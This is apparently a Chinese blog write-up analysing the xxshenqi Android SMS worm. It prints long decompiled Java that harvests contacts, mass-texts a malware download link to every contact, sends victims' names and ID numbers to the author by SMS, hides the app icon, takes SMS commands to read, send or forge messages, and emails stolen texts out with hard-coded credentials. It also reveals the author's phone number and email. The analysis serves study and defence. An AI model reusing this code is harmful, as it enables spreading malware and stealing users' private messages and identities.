背景

今年七夕爆发了一场大规模手机病毒传播,apk的名字叫做xxshenqi。中了这个病毒的用户会群发手机所有联系人一条信息,内容是包含这个apk下载的链接,同时用户的联系人信息和短信会被窃取,造成隐私泄露和电话扣费的危害。事实上,xxshenqi.apk只是一个外壳,达到扩散及得到用户的身份证和姓名的目的,它解压后会发现还内嵌有一个com.android.Trogoogle.apk的木马程序,这个程序能够控制用户短信,包括读取,发送和伪造。

反编译

由于软件的作者没有进行代码混淆,所以对apk反编译之后的代码一目了然。

前期准备:

1.解压软件    (解压apk,获得classes.dex)

2.dex2jar    (将apk的classes.dex转化为jar文件)

3.jd-gui    (反编译工具,直接查看jar包的源代码)

4.xxshenqi.apk    (样本)

步骤:

1.用解压软件把xxshenqi.apk解压出来,找到一个classes.dex文件,这个是安卓源码编译过的字节码包

2.将这个classes.dex文件复制到dex2jar.bat同一目录下

3.cmd到该目录下,运行命令>> d2j-dex2jar.bat classes.dex

4.得到一个classes_dex2jar.jar文件

5.用jd-gui.exe打开这个jar文件,就可以看到源代码了

6.用1-5步骤得到assets目录下的com.android.Trogoogle.apk的源代码

代码分析

包名:com.example.xxshenqi

|->点击登陆按钮->永远无法登陆成功

程序运行的步骤是:WelcomeActivity->MainActivity{

|->点击注册按钮->RegisterActivity

WelcomeActivity

首先可以发现WelcomeActivity是最开始的欢迎界面,在启动这个界面的过程中,程序就已经完成以下几件事:

1.读取联系人信息,包括联系人姓名和联系人手机号码

2.向所有联系人群发一条短信

3.群发完成后向作者发送一条完成短信

接下来分析WelcomeActivity中的ReadCONTACTS方法中的代码:

 private void ReadCONTACTS(Context paramContext)
{
this.contactArray = new ArrayList();
this.context = paramContext;
this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
new Thread()
{
public void run()
{
if (!WelcomeActivity.this.cursor.moveToNext())
{
if (WelcomeActivity.this.counts != 99) {}
}
else
{
String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id"));
WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
ArrayList localArrayList = new ArrayList();
localArrayList.add("\r\n" + WelcomeActivity.this.nameString);
for (;;)
{
if (!localCursor.moveToNext()) {}
for (;;)
{
localCursor.close();
WelcomeActivity.this.contactArray.add(localArrayList);
break;
WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", "");
WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", "");
try
{
if (WelcomeActivity.this.phoneString.length() == 11)
{
sleep(20L);
if ((WelcomeActivity.this.counts % 20 == 0) && (WelcomeActivity.this.counts != 0)) {
sleep(5000L);
}
if (WelcomeActivity.this.counts == 99) {
continue;
}
SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);
WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this;
localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts);
System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts);
}
}
catch (Exception localException)
{
for (;;)
{
localException.toString();
}
}
}
localArrayList.add(WelcomeActivity.this.phoneString);
}
}
SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);
WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this;
localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts);
System.out.println("===========================");
System.out.println("test---->群发OK");
System.out.println("============================");
}
}.start();
}

可以看到以下几条关键代码:

this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

读取通讯录

WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));

获得联系人姓名

 WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));

获得联系人手机号码

在这里,作者对联系人手机号码做了一些处理,把空格和"+86"前缀去掉,得到11位的手机号码,在判断手机号码为11位之后,就开始发短信。同时,为了防止过于快速的发送短信被运营商封禁,作者还做了休眠(sleep()),每条短信休眠20ms,每20条短信休眠5秒,每100条短信清空一下指针。

SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null)

上面就是发送短信的代码,也就是广大用户收到的那条短信,可以看出第一个参数是接收端的手机号码,第三个参数是短信内容,其中这里的代码phoneString存的是手机号码,nameString存的是联系人名字。

SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);

最后,群发成功后就会发送一条信息给作者。这里也可以看到作者的手机号码。

MainActivity

在前面程序完成了散播病毒的功能,接下来在MainActivity完成以下几件事:

1.检测Trogoogle子包是否已经安装,如果没有,就引导用户去安装,然后找到assets目录下的com.android.Trogoogle.apk安装

2.安装成功后会发一条信息给作者,表示用户已经中了木马

3.此时到了程序主界面,如果用户选择“登陆",就先对网络进行检测,事实上用户是永远不可能登陆成功的,因为若用户输入的密码大于等于6位,会显示"正在验证,请稍后..."“密码错误或账号不存在”,若用户输入的密码小于6位,会显示"请输入正确的密码或账号"(传说中的坑爹);如果用户选择"注册",那么就会到了RegisterActivity进行注册

检测和安装Trogoogle

 1 if (!detectApk("com.example.com.android.trogoogle"))
{
System.out.println("host开始安装==============================");
String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
showInstallConfirmDialog(this, str);
}</span> <span style="font-size:18px;"> public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
{
try
{
File localFile = new File(paramString2);
if (localFile.exists()) {
return true;
}
localFile.createNewFile();
InputStream localInputStream = paramContext.getAssets().open(paramString1);
FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
byte[] arrayOfByte = new byte[1024];
boolean bool;
for (;;)
{
int i = localInputStream.read(arrayOfByte);
if (i == -1)
{
localFileOutputStream.flush();
localFileOutputStream.close();
localInputStream.close();
bool = true;
break;
}
localFileOutputStream.write(arrayOfByte, 0, i);
}
AlertDialog.Builder localBuilder;
return bool;
}
catch (IOException localIOException)
{
Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setMessage(localIOException.getMessage());
localBuilder.show();
localIOException.printStackTrace();
bool = false;
}
} public void showInstallConfirmDialog(final Context paramContext, final String paramString)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setIcon(2130837592);
localBuilder.setTitle("未安装资源包");
localBuilder.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
{
try
{
String str = "chmod 777 " + paramString;
Runtime.getRuntime().exec(str);
Intent localIntent = new Intent("android.intent.action.VIEW");
localIntent.addFlags(268435456);
localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
paramContext.startActivity(localIntent);
return;
}
catch (IOException localIOException)
{
for (;;)
{
localIOException.printStackTrace();
}
}
}
});
localBuilder.show();
}

登陆

  public void onClick(View paramAnonymousView)
{
if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
{
String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
return;
}
if (!MainActivity.this.goToNetWork())
{
Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
return;
}
if (MainActivity.this.pass.getText().toString().length() >= 6)
{
Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
return;
}
Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
}

RegisterActivity

 public void onClick(View paramAnonymousView)
{
String str = RegisterActivity.this.idEditText.getText().toString();
if (str.length() != 18)
{
Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
return;
}
int i = Integer.parseInt(str.substring(6, 10));
int j = Integer.parseInt(str.substring(10, 12));
int k = Integer.parseInt(str.substring(12, 14));
if ((i > 1996) || (i < 1980) || (j > 12) || (j == 0) || (k == 0) || (k > 31))
{
Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
return;
}
if ((RegisterActivity.this.nameEditText.getText().toString().length() < 2) || (RegisterActivity.this.nameEditText.getText().toString().length() > 4))
{
Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show();
return;
}
SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主机,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份证号为:" + str, null, null);
Toast.makeText(RegisterActivity.this, "注册成功!", 0).show();
RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
}

这个注册的Activity获取了用户填写的姓名和身份证号,注册完成后这些信息会以短信的形式发送到作者的手机上。同时,从上面的代码可以看出作者也对姓名和身份证号做了简单的校验。

分析完掩人耳目的外壳,现在来看里面的木马程序

包名:example.com.android.trogoogle

MainActivity

在这个入口程序中,主要的功能是实现隐藏图标。

 protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
requestWindowFeature(1);
setContentView(2130903063);
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
System.out.println("APP图标隐藏成功==============================");
Intent localIntent = new Intent();
localIntent.setClass(this, ListenMessageService.class);
startService(localIntent);
System.out.println(" startService成功==============================");
System.out.println("--------->>>finish()");
finish();
}

ListenMessageService

这里有个比较重要的类SmsObserver,顾名思义,是用来监控短信的。里面包含了SEND查询和RECV查询,以及几种处理状态。当发件箱有变化时,就会进入SEND查询;当收件箱有变化时就会进入RECV查询。

BroadcastRecvMessage

RECV有几种指令,包括

readmessage指令就会读取所有短信并且发送到作者的邮箱中;

sendmessage指令就会发送指定的内容到指定的号码;

makemessage指令伪造短信

 if (!str5.equals("readmessage")) {
break label188;
}
System.out.println("木马收到发送邮件命令==============================");
String str10 = ReadAllMessage(paramContext);
Intent localIntent4 = new Intent(paramContext, MySendEmailService.class);
localIntent4.putExtra("String", str10);
paramContext.startService(localIntent4);
abortBroadcast();
continue;
if (!str5.equals("sendmessage")) {
break label188;
}
System.out.println("木马收到发送短信命令==============================");
int n = str2.lastIndexOf('/');
String str8 = str2.substring(k + 1, n);
String str9 = str2.substring(n + 1, str2.length());
SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null);
System.out.println("木马发送短信成功================================");
 if (!str5.equals("makemessage")) {
break label188;
}
System.out.println("木马收到伪造短信命令==============================");
int m = str2.lastIndexOf('/');
String str6 = str2.substring(k + 1, m);
String str7 = str2.substring(m + 1, str2.length());
Intent localIntent3 = new Intent(paramContext, MyMakeMessageService.class);
localIntent3.putExtra("address", str6);
localIntent3.putExtra("body", str7);
paramContext.startService(localIntent3);

同时还有一些作者判定的信息内容也会发送给作者(比如,淘宝和普通的信息)

 System.out.println("木马觉得淘宝信息==============================");
str4 = "【特殊消息】" + str2;
if (str4.length() > 60)
{
localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null);
localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null);
}
 System.out.println("木马觉得是普通信息==============================");
localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);

MySendEmailService

这里作者暴露了他的个人邮箱和口令

 protected void onHandleIntent(Intent paramIntent)
{
System.out.println("木马进入MySendEmailService==============================");
String str = paramIntent.getStringExtra("String");
System.out.println("木马开始发送邮件============================");
MailSenderInfo localMailSenderInfo = new MailSenderInfo();
localMailSenderInfo.setMailServerHost("smtp.qq.com");
localMailSenderInfo.setMailServerPort("25");
localMailSenderInfo.setValidate(true);
localMailSenderInfo.setUserName("a137736513@qq.com");
localMailSenderInfo.setPassword("lishulili.");
localMailSenderInfo.setFromAddress("a137736513@qq.com");
localMailSenderInfo.setToAddress("137736513@qq.com");
localMailSenderInfo.setSubject("信息");
localMailSenderInfo.setContent(str);
new SimpleMailSender().sendTextMail(localMailSenderInfo);
SimpleMailSender.sendHtmlMail(localMailSenderInfo);
System.out.println("木马完成发送邮件=============================");
System.out.println("木马离开MySendEmailService=============================");
System.out.println("木马killProcess==============================");
Process.killProcess(Process.myPid());
}

当然,现在口令已经被改了。

总结

据作者本人说没想过影响会那么大。确实,社工部分非常简陋,传播的信息内容只是”xxx,看这个,http://cdn.yyupload.com/down/4279193/XXshenqi.apk“,这样子看来,毫不犹豫点击这个链接看上去挺傻的,因为发送者什么都没有说明,可事实上确实有很多用户中招了。

虽然很多人说作者做这个东西其实没什么技术含量,但是他才大一,并且想做就做了,这点挺佩服的,如果能增加一点法律意识可能就没那么悲剧了。

后记

这个程序在安全大牛眼里可能是一个玩具,但是对于我来说拿来练手就刚刚好了。第一次反编译和分析apk,有种莫名的成就感。不过文章写出来,似乎表达差了一点。最后非常感谢CJ给我提供了样本。

参考

http://fashion4cj.com/shuo-yi-shuo-xxshenqizhe-ge-shi-qing-ba.html

http://www.cnblogs.com/qxzy/p/3889296.html

xxshenqi分析报告的更多相关文章

  1. Alpha阶段事后分析报告

    每个团队编写一个事后分析报告,对于团队在Alpha阶段的工作做一个总结. 请在2016年11月24日上课之前根据下述博客中的模板总结前一阶段的工作,发表在团队博客上,并在课上的事后分析会上进行汇报,并 ...

  2. 《奥威Power-BI智能分析报告制作方法 》精彩回顾

     上次课我们简单介绍了奥威Power-BI的智能分析报告,并展示了报告与图表相结合的应用场景.图文分析报表的意义不只在于美观,更重要的是固定框架下的灵活性和追根究底的动态分析,有着很强的实用性.上节课 ...

  3. 12月07日《奥威Power-BI智能分析报告制作方法 》腾讯课堂开课啦

            前几天跟我一个做报表的哥们聊天,听着他一茬一茬地诉苦:“每天做报表做到想吐,老板看报表时还是不给一个好脸色.”我也只能搬出那一套“过程大于结果”的内心疗程赠与他,没想到他反而怒了:“做 ...

  4. M1事后分析报告(Postmortem Report)

    M1事后分析报告(Postmortem Report) 设想和目标 1. 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? 我们项目组所开发的软件为一个基于Andro ...

  5. websphere OSGi应用环境下服务调用saaj包加载问题分析报告

    websphere OSGi应用环境下服务调用saaj包加载问题分析报告 作者:bingjava 版权声明:本文为博主原创文章,转载请说明出处:http://www.cnblogs.com/bingj ...

  6. Google发布SSLv3漏洞简要分析报告

    今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...

  7. 推荐一个利用 python 生成 pptx 分析报告的工具包:reportgen

    reportgen v0.1.8 更新介绍 这段时间,我对 reportgen 进行了大工程量的修改和更新.将之前在各个文章中出现的函数进行了封装,同时也对现有工具包的一些逻辑进行了调整. 1.rep ...

  8. python 生成 pptx 分析报告的工具包:reportgen

    python机器学习-sklearn挖掘乳腺癌细胞( 博主亲自录制) 网易云观看地址 https://study.163.com/course/introduction.htm?courseId=10 ...

  9. 使用AES加密的勒索类软件分析报告

    报告名称:  某勒索类软件分析报告    作者:        李东 报告更新日期: 样本发现日期: 样本类型: 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: da4ab5e31793 ...

随机推荐

  1. xml出现Exception in thread "main" java.lang.NullPointerException

    运行代码出现Exception in thread "main" java.lang.NullPointerException 可以看下这个链接:https://ask.csdn. ...

  2. 架构设计 | 分布式系统调度,Zookeeper集群化管理

    本文源码:GitHub·点这里 || GitEE·点这里 一.框架简介 1.基础简介 Zookeeper基于观察者模式设计的组件,主要应用于分布式系统架构中的,统一命名服务.统一配置管理.统一集群管理 ...

  3. IDOC日志查询报表

    当不知道IDOC同步的具体时间,而WE02数据量过大时: 当某条IDOC记录中数据量过大,找不到具体某条数据时: 可采用自开发程序查找,具体代码如下: REPORT ZIDOC_LOG. *----- ...

  4. 关于网上quartus ii 生成fft核出现问题解决

    ------------恢复内容开始------------ 关于网上quartus ii 生成fft核出现问题解决 1:必须把软件破解啦 2:必须把IP核破解啦 破解步骤网上也有可以直接看,一定要全 ...

  5. 使用 React hooks 转化 class 的一些思考

    Hooks 是 React 16.8 的新增特性.它可以让你在不编写 class 的情况下使用 state 以及其他的 React 特性. 使用 React hooks 转化 class 的一些思考 ...

  6. ADC电路持续更新

    http://www.mcuol.com/tech/109/30923.htm

  7. 常用header头

    // ok 正常访问header('HTTP/1.1 404 Not Found'); //通知浏览器 页面不存在 header('HTTP/1.1 200 OK'); //设置地址被永久的重定向 3 ...

  8. 2018-07-01 jq效果

    jq效果的实现方法: 1.基本 show(time) -> 显示:相当于display:block hide(time) -> 隐藏:相当于display:none toggle(time ...

  9. Hadoop CDH版本安装和启动(CentOS7)

    1.创建hadoop组和用户,useradd hadoop passwd hadoop groupadd hadoops usermod -G hadoops hadoop(将hadoop添加到had ...

  10. call(),apply(),bind() 区别和用法

    call call 方法第一个参数是要绑定给this的值,后面传入的是一个参数列表.当第一个参数为null.undefined的时候,默认指向window. var arr = [1, 2, 3, 8 ...